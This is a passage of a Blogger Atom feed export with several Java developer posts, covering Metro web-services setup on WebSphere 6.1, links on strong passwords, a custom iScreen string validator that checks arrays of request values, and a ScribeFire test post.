class="xml-tag"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 5&lt;/span&gt;         &lt;span class="xml-tag"&gt;&amp;lt;web&lt;/span&gt;&lt;span class="xml-tag"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 6&lt;/span&gt;             &lt;span class="xml-tag"&gt;&amp;lt;web-uri&lt;/span&gt;&lt;span class="xml-tag"&gt;&amp;gt;&lt;/span&gt;webmodule.war&lt;span class="xml-tag"&gt;&amp;lt;/web-uri&lt;/span&gt;&lt;span class="xml-tag"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 7&lt;/span&gt;             &lt;span class="xml-tag"&gt;&amp;lt;context-root&lt;/span&gt;&lt;span class="xml-tag"&gt;&amp;gt;&lt;/span&gt;/metrowebservices&lt;span class="xml-tag"&gt;&amp;lt;/context-root&lt;/span&gt;&lt;span class="xml-tag"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 8&lt;/span&gt;         &lt;span class="xml-tag"&gt;&amp;lt;/web&lt;/span&gt;&lt;span class="xml-tag"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 9&lt;/span&gt;     &lt;span class="xml-tag"&gt;&amp;lt;/module&lt;/span&gt;&lt;span class="xml-tag"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="line-number"&gt;10&lt;/span&gt; &lt;span class="xml-tag"&gt;&amp;lt;/application&lt;/span&gt;&lt;span class="xml-tag"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="line-number"&gt;11&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;add following line to MANIFEST.MF&lt;br /&gt;Class-Path: webservices-api.jar webservices-extra.jar webservices-extra-api.jar webservices-rt.jar webservices-tools.jar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finally&lt;br /&gt;ON IBM administration console&lt;br /&gt;select : Classes loaded with application class loader first&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-3010606950928840895?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/PdG20eVy9Jw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/3010606950928840895/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=3010606950928840895" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/3010606950928840895?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/3010606950928840895?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/PdG20eVy9Jw/installing-metro-on-websphere61.html" title="Installing metro on WebSphere6.1" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2009/02/installing-metro-on-websphere61.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEEHR384eSp7ImA9WxVRGEU.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-3596052257178235674</id><published>2009-01-25T16:50:00.001+05:30</published><updated>2009-01-25T16:53:56.131+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-25T16:53:56.131+05:30</app:edited><title>What is a good password</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/z99VwnfHfkT9L4gPNqitQsrsVYk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/z99VwnfHfkT9L4gPNqitQsrsVYk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/z99VwnfHfkT9L4gPNqitQsrsVYk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/z99VwnfHfkT9L4gPNqitQsrsVYk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Very nice article on Good passwords. &lt;a href="http://www.microsoft.com/protect/yourself/password/create.mspx"&gt;&lt;br /&gt;Strong password&lt;/a&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;a href="http://www.microsoft.com/protect/yourself/password/checker.mspx"&gt;Check your password strength&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-3596052257178235674?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/2oydaVkY7W0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/3596052257178235674/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=3596052257178235674" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/3596052257178235674?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/3596052257178235674?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/2oydaVkY7W0/what-is-good-password.html" title="What is a good password" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2009/01/what-is-good-password.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU8BRHwycCp7ImA9WxRREEU.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-135749296752757283</id><published>2008-09-17T15:20:00.010+05:30</published><updated>2008-09-22T17:14:15.298+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-22T17:14:15.298+05:30</app:edited><title>iScreen Validation in web application</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/gsn9Chxd9Q3CpfImWeILrw80f4o/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gsn9Chxd9Q3CpfImWeILrw80f4o/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/gsn9Chxd9Q3CpfImWeILrw80f4o/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gsn9Chxd9Q3CpfImWeILrw80f4o/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;iScreen validations provides server side validations. It provides elaborate documentation on how to implement your validations. There are two kinds of projects which need iScreen.&lt;br /&gt;1) Project is in initial phases&lt;br /&gt;2) Project is in advanced stages and we suddenly discover that there are no server side validations.&lt;br /&gt;The later use case  is challenging and tricky. This is my first blog entry in a series where I ll discuss how we have effectively implemented iScreen in a large project which has around 1600 separate screens.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Handling String Arrays&lt;/b&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;iScreen provides 'org.iscreen.StringValidator'. It provides length validation. However it does not handle values in an array. In our code we are passing requestMap as object to be validated. The requesr map contains request paramters as keys and values as haspmap value. Servlet creates an array of values when there are multiple fields with same name in the html form. The following code will not validate all the values in the "orderId" field.&lt;br /&gt;&lt;br /&gt;&amp;lt;use-validator ref="org.iscreen.StringValidator" name="orderId"&amp;gt;&lt;br /&gt;   &amp;lt;mapping from="#root.orderId" to="value" /&amp;gt;&lt;br /&gt;   &amp;lt;label&amp;gt;Order Id&amp;lt;/label&amp;gt;&lt;br /&gt;   &amp;lt;constraint property="minLength"&amp;gt;10&amp;lt;/constraint&amp;gt;&lt;br /&gt;   &amp;lt;constraint property="maxLength"&amp;gt;10&amp;lt;/constraint&amp;gt;&lt;br /&gt;&amp;lt;/use-validator&amp;gt;&lt;br /&gt;&lt;br /&gt;First solution is modify the OGNL expression. The ognl expression will check the data type if it is an array then pass the first value in the array. The updated code&lt;br /&gt;&lt;br /&gt;&amp;lt;use-validator ref="org.iscreen.StringValidator" name="orderId"&amp;gt;&lt;br /&gt;   &amp;lt;mapping from="#root.orderId instanceof java.lang.String[] ? &lt;/span&gt;#root.orderId[0] : root.orderId" to="value" /&amp;gt;&lt;br /&gt;   &amp;lt;label&amp;gt;Order Id&amp;lt;/label&amp;gt;&lt;br /&gt;   &amp;lt;constraint property="minLength"&amp;gt;10&amp;lt;/constraint&amp;gt;&lt;br /&gt;   &amp;lt;constraint property="maxLength"&amp;gt;10&amp;lt;/constraint&amp;gt;&lt;br /&gt;&amp;lt;/use-validator&amp;gt;&lt;br /&gt;&lt;br /&gt;The above code will only validate the first value in the array. This not sufficient in most cases&lt;br /&gt;&lt;br /&gt;Solution is to extend the org.iscreen.StringValidator to handle array of values.&lt;br /&gt;Following is the modified StringValidator class.&lt;br /&gt;&lt;br /&gt;&lt;table width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align="center"&gt;CustomStringValidator.java&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;pre&gt;&lt;span class="line-number"&gt; 1&lt;/span&gt; &lt;span class="comment"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 2&lt;/span&gt; &lt;span class="comment"&gt; * Copyright 2006 Dan Shellman&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 3&lt;/span&gt; &lt;span class="comment"&gt; *&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 4&lt;/span&gt; &lt;span class="comment"&gt; * Licensed under the Apache License, Version 2.0 (the "License");&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 5&lt;/span&gt; &lt;span class="comment"&gt; * you may not use this file except in compliance with the License.&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 6&lt;/span&gt; &lt;span class="comment"&gt; * You may obtain a copy of the License at&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 7&lt;/span&gt; &lt;span class="comment"&gt; *&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 8&lt;/span&gt; &lt;span class="comment"&gt; * http://www.apache.org/licenses/LICENSE-2.0&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 9&lt;/span&gt; &lt;span class="comment"&gt; *&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;10&lt;/span&gt; &lt;span class="comment"&gt; * Unless required by applicable law or agreed to in writing, software&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;11&lt;/span&gt; &lt;span class="comment"&gt; * distributed under the License is distributed on an "AS IS" BASIS,&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;12&lt;/span&gt; &lt;span class="comment"&gt; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;13&lt;/span&gt; &lt;span class="comment"&gt; * See the License for the specific language governing permissions and&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;14&lt;/span&gt; &lt;span class="comment"&gt; * limitations under the License.&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;15&lt;/span&gt; &lt;span class="comment"&gt; */&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;16&lt;/span&gt; &lt;span class="keyword-directive"&gt;package&lt;/span&gt; org.iscreen.validators;&lt;br /&gt;&lt;span class="line-number"&gt;17&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;18&lt;/span&gt; &lt;span class="keyword-directive"&gt;import&lt;/span&gt; org.iscreen.SimpleBean;&lt;br /&gt;&lt;span class="line-number"&gt;19&lt;/span&gt; &lt;span class="keyword-directive"&gt;import&lt;/span&gt; org.iscreen.ValidatorContext;&lt;br /&gt;&lt;span class="line-number"&gt;20&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;21&lt;/span&gt; &lt;span class="comment"&gt;/**&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;22&lt;/span&gt; &lt;span class="comment"&gt; * &lt;/span&gt;&lt;span class="comment"&gt;The&lt;/span&gt; &lt;span class="comment"&gt;CustomStringValidator&lt;/span&gt; &lt;span class="comment"&gt;checks&lt;/span&gt; &lt;span class="comment"&gt;the&lt;/span&gt; &lt;span class="comment"&gt;length&lt;/span&gt; &lt;span class="comment"&gt;of&lt;/span&gt; &lt;span class="comment"&gt;the&lt;/span&gt; &lt;span class="comment"&gt;given&lt;/span&gt; &lt;span class="comment"&gt;value&lt;/span&gt; &lt;span class="comment"&gt;in&lt;/span&gt; &lt;span class="comment"&gt;an&lt;/span&gt; &lt;span class="comment"&gt;array&lt;/span&gt;&lt;span class="comment"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;23&lt;/span&gt; &lt;span class="comment"&gt; *&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;24&lt;/span&gt; &lt;span class="comment"&gt; * &lt;/span&gt;&lt;span class="ST0"&gt;@author&lt;/span&gt; &lt;span class="comment"&gt;Shrikant&lt;/span&gt; &lt;span class="comment"&gt;Sarda&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;25&lt;/span&gt;  &lt;span class="comment"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;26&lt;/span&gt; &lt;span class="keyword-directive"&gt;public&lt;/span&gt; &lt;span class="keyword-directive"&gt;class&lt;/span&gt; CustomStringValidator &lt;span class="keyword-directive"&gt;extends&lt;/span&gt; StringValidator {&lt;br /&gt;&lt;span class="line-number"&gt;27&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;28&lt;/span&gt;     &lt;span class="comment"&gt;/**&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;29&lt;/span&gt; &lt;span class="comment"&gt;     * &lt;/span&gt;&lt;span class="comment"&gt;Default&lt;/span&gt; &lt;span class="comment"&gt;constructor&lt;/span&gt;&lt;span class="comment"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;30&lt;/span&gt;      &lt;span class="comment"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;31&lt;/span&gt;     &lt;span class="keyword-directive"&gt;public&lt;/span&gt; CustomStringValidator() {&lt;br /&gt;&lt;span class="line-number"&gt;32&lt;/span&gt;     } &lt;span class="comment"&gt;//end StringValidator()&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;33&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;34&lt;/span&gt;     &lt;span class="keyword-directive"&gt;public&lt;/span&gt; &lt;span class="keyword-directive"&gt;void&lt;/span&gt; validate(ValidatorContext context, Object beanToValidate) {&lt;br /&gt;&lt;span class="line-number"&gt;35&lt;/span&gt;         String value;&lt;br /&gt;&lt;span class="line-number"&gt;36&lt;/span&gt;         &lt;span class="keyword-directive"&gt;int&lt;/span&gt; valueLength;&lt;br /&gt;&lt;span class="line-number"&gt;37&lt;/span&gt;         String[] arrValue = &lt;span class="keyword-directive"&gt;null&lt;/span&gt;;&lt;br /&gt;&lt;span class="line-number"&gt;38&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;39&lt;/span&gt;         &lt;span class="keyword-directive"&gt;if&lt;/span&gt; (beanToValidate != &lt;span class="keyword-directive"&gt;null&lt;/span&gt; &amp;amp;&amp;amp; ((SimpleBean) beanToValidate).getValue() != &lt;span class="keyword-directive"&gt;null&lt;/span&gt;) {&lt;br /&gt;&lt;span class="line-number"&gt;40&lt;/span&gt;             &lt;span class="keyword-directive"&gt;if&lt;/span&gt; (((SimpleBean) beanToValidate).getValue() &lt;span class="keyword-directive"&gt;instanceof&lt;/span&gt; String[]) {&lt;br /&gt;&lt;span class="line-number"&gt;41&lt;/span&gt;                 arrValue = (String[]) ((SimpleBean) beanToValidate).getValue();&lt;br /&gt;&lt;span class="line-number"&gt;42&lt;/span&gt;             }&lt;br /&gt;&lt;span class="line-number"&gt;43&lt;/span&gt;         }&lt;br /&gt;&lt;span class="line-number"&gt;44&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;45&lt;/span&gt;         &lt;span class="keyword-directive"&gt;if&lt;/span&gt; (arrValue != &lt;span class="keyword-directive"&gt;null&lt;/span&gt;) {&lt;br /&gt;&lt;span class="line-number"&gt;46&lt;/span&gt;             &lt;span class="comment"&gt;//System.out.println("in if");&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;47&lt;/span&gt;             &lt;span class="comment"&gt;//String[] customBeanToValidate = (String[])beanToValidate;&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;48&lt;/span&gt;             &lt;span class="keyword-directive"&gt;for&lt;/span&gt; (&lt;span class="keyword-directive"&gt;int&lt;/span&gt; i = 0; i &lt; class="line-number"&gt;49                 value = arrValue[i];&lt;br /&gt;&lt;span class="line-number"&gt;50&lt;/span&gt;                 &lt;span class="keyword-directive"&gt;if&lt;/span&gt; (value == &lt;span class="keyword-directive"&gt;null&lt;/span&gt;) {&lt;br /&gt;&lt;span class="line-number"&gt;51&lt;/span&gt;                     &lt;span class="keyword-directive"&gt;if&lt;/span&gt; (minLength != &lt;span class="keyword-directive"&gt;null&lt;/span&gt; &amp;amp;&amp;amp; minLength.intValue() &gt; 0) {&lt;br /&gt;&lt;span class="line-number"&gt;52&lt;/span&gt;                         context.reportFailure(nullFailure);&lt;br /&gt;&lt;span class="line-number"&gt;53&lt;/span&gt;                     }&lt;br /&gt;&lt;span class="line-number"&gt;54&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;55&lt;/span&gt;                     &lt;span class="keyword-directive"&gt;return&lt;/span&gt;;&lt;br /&gt;&lt;span class="line-number"&gt;56&lt;/span&gt;                 }&lt;br /&gt;&lt;span class="line-number"&gt;57&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;58&lt;/span&gt;                 valueLength = value.length();&lt;br /&gt;&lt;span class="line-number"&gt;59&lt;/span&gt;                 &lt;span class="keyword-directive"&gt;if&lt;/span&gt; (minLength != &lt;span class="keyword-directive"&gt;null&lt;/span&gt; &amp;amp;&amp;amp;&lt;br /&gt;&lt;span class="line-number"&gt;60&lt;/span&gt;                         valueLength &lt; class="line-number"&gt;61                     context.reportFailure(minLengthFailure, &lt;span class="keyword-directive"&gt;new&lt;/span&gt; Integer(valueLength));&lt;br /&gt;&lt;span class="line-number"&gt;62&lt;/span&gt;                 } &lt;span class="keyword-directive"&gt;else&lt;/span&gt; &lt;span class="keyword-directive"&gt;if&lt;/span&gt; (maxLength != &lt;span class="keyword-directive"&gt;null&lt;/span&gt; &amp;amp;&amp;amp; maxLength.intValue() == 1 &amp;amp;&amp;amp;&lt;br /&gt;&lt;span class="line-number"&gt;63&lt;/span&gt;                         valueLength == 1) {&lt;br /&gt;&lt;span class="line-number"&gt;64&lt;/span&gt;                     &lt;span class="comment"&gt;//System.out.println("valueLength,78:" + valueLength + ",value:" + value);&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;65&lt;/span&gt;                 } &lt;span class="keyword-directive"&gt;else&lt;/span&gt; &lt;span class="keyword-directive"&gt;if&lt;/span&gt; (maxLength != &lt;span class="keyword-directive"&gt;null&lt;/span&gt; &amp;amp;&amp;amp;&lt;br /&gt;&lt;span class="line-number"&gt;66&lt;/span&gt;                         valueLength &gt; maxLength.intValue()) {&lt;br /&gt;&lt;span class="line-number"&gt;67&lt;/span&gt;                     context.reportFailure(maxLengthFailure, &lt;span class="keyword-directive"&gt;new&lt;/span&gt; Integer(valueLength));&lt;br /&gt;&lt;span class="line-number"&gt;68&lt;/span&gt;                 }&lt;br /&gt;&lt;span class="line-number"&gt;69&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;70&lt;/span&gt;             } &lt;span class="comment"&gt;//end for&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;71&lt;/span&gt;         }&lt;span class="comment"&gt;// end if&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;72&lt;/span&gt;         &lt;span class="keyword-directive"&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;span class="line-number"&gt;73&lt;/span&gt;             &lt;span class="comment"&gt;//System.out.println("in else");&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;74&lt;/span&gt;             value = getStringValue(beanToValidate);&lt;br /&gt;&lt;span class="line-number"&gt;75&lt;/span&gt;             &lt;span class="keyword-directive"&gt;if&lt;/span&gt; (value == &lt;span class="keyword-directive"&gt;null&lt;/span&gt;) {&lt;br /&gt;&lt;span class="line-number"&gt;76&lt;/span&gt;                 &lt;span class="keyword-directive"&gt;if&lt;/span&gt; (minLength != &lt;span class="keyword-directive"&gt;null&lt;/span&gt; &amp;amp;&amp;amp; minLength.intValue() &gt; 0) {&lt;br /&gt;&lt;span class="line-number"&gt;77&lt;/span&gt;                     context.reportFailure(nullFailure);&lt;br /&gt;&lt;span class="line-number"&gt;78&lt;/span&gt;                 }&lt;br /&gt;&lt;span class="line-number"&gt;79&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;80&lt;/span&gt;                 &lt;span class="keyword-directive"&gt;return&lt;/span&gt;;&lt;br /&gt;&lt;span class="line-number"&gt;81&lt;/span&gt;             }&lt;br /&gt;&lt;span class="line-number"&gt;82&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;83&lt;/span&gt;             valueLength = value.length();&lt;br /&gt;&lt;span class="line-number"&gt;84&lt;/span&gt;             &lt;span class="keyword-directive"&gt;if&lt;/span&gt; (minLength != &lt;span class="keyword-directive"&gt;null&lt;/span&gt; &amp;amp;&amp;amp;&lt;br /&gt;&lt;span class="line-number"&gt;85&lt;/span&gt;                     valueLength &lt; class="line-number"&gt;86                 context.reportFailure(minLengthFailure, &lt;span class="keyword-directive"&gt;new&lt;/span&gt; Integer(valueLength));&lt;br /&gt;&lt;span class="line-number"&gt;87&lt;/span&gt;             } &lt;span class="keyword-directive"&gt;else&lt;/span&gt; &lt;span class="keyword-directive"&gt;if&lt;/span&gt; (maxLength != &lt;span class="keyword-directive"&gt;null&lt;/span&gt; &amp;amp;&amp;amp; maxLength.intValue() == 1 &amp;amp;&amp;amp;&lt;br /&gt;&lt;span class="line-number"&gt;88&lt;/span&gt;                     valueLength == 1) {&lt;br /&gt;&lt;span class="line-number"&gt;89&lt;/span&gt;                 &lt;span class="comment"&gt;//System.out.println("valueLength,113:" + valueLength + ",value:" + value);&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;90&lt;/span&gt;             } &lt;span class="keyword-directive"&gt;else&lt;/span&gt; &lt;span class="keyword-directive"&gt;if&lt;/span&gt; (maxLength != &lt;span class="keyword-directive"&gt;null&lt;/span&gt; &amp;amp;&amp;amp;&lt;br /&gt;&lt;span class="line-number"&gt;91&lt;/span&gt;                     valueLength &gt; maxLength.intValue()) {&lt;br /&gt;&lt;span class="line-number"&gt;92&lt;/span&gt;                 &lt;span class="comment"&gt;//System.out.println("valueLength,119:" + valueLength + ",value:" + value);&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;93&lt;/span&gt;                 context.reportFailure(maxLengthFailure, &lt;span class="keyword-directive"&gt;new&lt;/span&gt; Integer(valueLength));&lt;br /&gt;&lt;span class="line-number"&gt;94&lt;/span&gt;             }&lt;br /&gt;&lt;span class="line-number"&gt;95&lt;/span&gt;         }&lt;span class="comment"&gt;//end else&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;96&lt;/span&gt;     } &lt;span class="comment"&gt;//end validate()&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;97&lt;/span&gt; } &lt;span class="comment"&gt;//end CustomStringValidator&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;98&lt;/span&gt;&lt;br /&gt;&lt;span class="line-number"&gt;99&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-135749296752757283?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/zapHVNnE9qE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/135749296752757283/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=135749296752757283" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/135749296752757283?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/135749296752757283?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/zapHVNnE9qE/iscreen-validation-in-web-application.html" title="iScreen Validation in web application" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2008/09/iscreen-validation-in-web-application.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEcCQHY4fCp7ImA9WxRSFEs.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-321187800015988633</id><published>2008-09-15T12:31:00.001+05:30</published><updated>2008-09-15T12:31:01.834+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-15T12:31:01.834+05:30</app:edited><title>Posting from ScribeFire</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/aYC9bHOAVI6Lp7mkrn5do9RuWOo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aYC9bHOAVI6Lp7mkrn5do9RuWOo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/aYC9bHOAVI6Lp7mkrn5do9RuWOo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aYC9bHOAVI6Lp7mkrn5do9RuWOo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Posting from ScribFire. Checkout Vikrant&lt;br/&gt;&lt;br/&gt;&lt;span id='fullpost'&gt;&lt;br/&gt;&lt;/span&gt;&lt;span id='fullpost'&gt;Today i have downloaded ScribFire and testing the same&lt;br/&gt;&lt;img width='378' height='283' src='http://lh4.ggpht.com/gmkumar2005/SM4HyN8VOCI/AAAAAAAAACU/kK7aRJfIvnM/%5BUNSET%5D.jpg' style='max-width: 800px;'/&gt;&lt;br/&gt;&lt;/span&gt;&lt;span id='fullpost'/&gt;&lt;span id='fullpost'&gt;&lt;br/&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-321187800015988633?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/Z87kJ-5KDcY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/321187800015988633/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=321187800015988633" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/321187800015988633?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/321187800015988633?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/Z87kJ-5KDcY/posting-from-scribefire_1341.html" title="Posting from ScribeFire" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><media:thumbnail 